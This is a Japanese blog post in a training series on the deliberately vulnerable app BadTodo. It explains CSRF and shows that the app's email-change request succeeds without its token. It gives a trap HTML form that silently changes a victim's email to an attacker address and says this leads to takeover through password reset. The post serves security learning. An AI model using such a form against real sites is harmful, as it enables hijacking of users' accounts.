やられアプリ BadTodo - 10.1 CSRF(クロスサイト・リクエスト・フォージェリ)

前回:やられアプリ BadTodo - 9 Server Side Code Injection - PHP Code Injection - demandosigno

ログイン機能を設けているウェブサイトにおいて、利用者が外部サイトを経由した悪意のあるリクエストを実行させられてしまう場合、CSRFの脆弱性があることになります。
例えば送金・商品購入・退会処理・パスワードや設定の変更など、ウェブサイトの利用者にとって重要で取り消しできない処理の実行です。(ウェブ健康診断仕様 p.11)

よって更新・登録処理などのPOST部分に絞って見ていきます。(GETは情報を取得するためだけに利用してください。GETでの更新は原則避けるべきです。フレームワーク類がGETでの更新を想定していないのでCSRF対策が働かない場合があります。また下記のようにリンクを踏むだけで削除処理を行ってしまうなどのリスクがあります)
qiita.com

BadTodoのリクエスト一覧を見るとGETでの更新処理はありませんでしたのでこの点は問題ありません。

ログイン前のリクエストを覗き、ほぼすべてのリクエストにCSRF対策用のトークン(todotoken)が付いていました。通常はランダム値であり第三者が推測することが難しいため攻撃用リクエストが作れなくなります。
ただし、BadTodoの場合、幾つかのリクエストがトークンなしでも実行できました。例として「メールアドレス変更」を試します。

POST /changemaildo.php HTTP/1.1
Host: todo.example.jp
Cookie: TODOSESSID=526de08790b0189fd78b90bc08e108e4
(中略)

todotoken=30276fa5046b8a44e288b75211ee1a82&email=hoge%40example.com

というリクエストですが、todotoken部分を丸々削除し email=hoge@example.com のみで送信しても問題なく処理が完了します。
よって次のような偽のページを作成しリクエストを送信させることでメールアドレス変更が可能でした(本物の罠の場合はページを閲覧させると同時に JavaScript により自動的に実行させることが可能です)。
コンテナ環境の\www\html\trap に罠ページ用の区画が用意されておりCSRF用テンプレートが置かれていますので使います。

<html>
  <body>
    <form action="https://todo.example.jp/changemaildo.php" method="POST">
      <input type="hidden" name="email" value="hack@trap.example.org"/>
      <input type="submit">
    </form>
  </body>
<html>

メールアドレスを変更されてしまうと、パスワードリセット機能によりパスワードも変更されてしまいます。

次回:やられアプリ BadTodo - 10.5 CSRF(対策) - demandosigno

/* -----codeの行番号----- */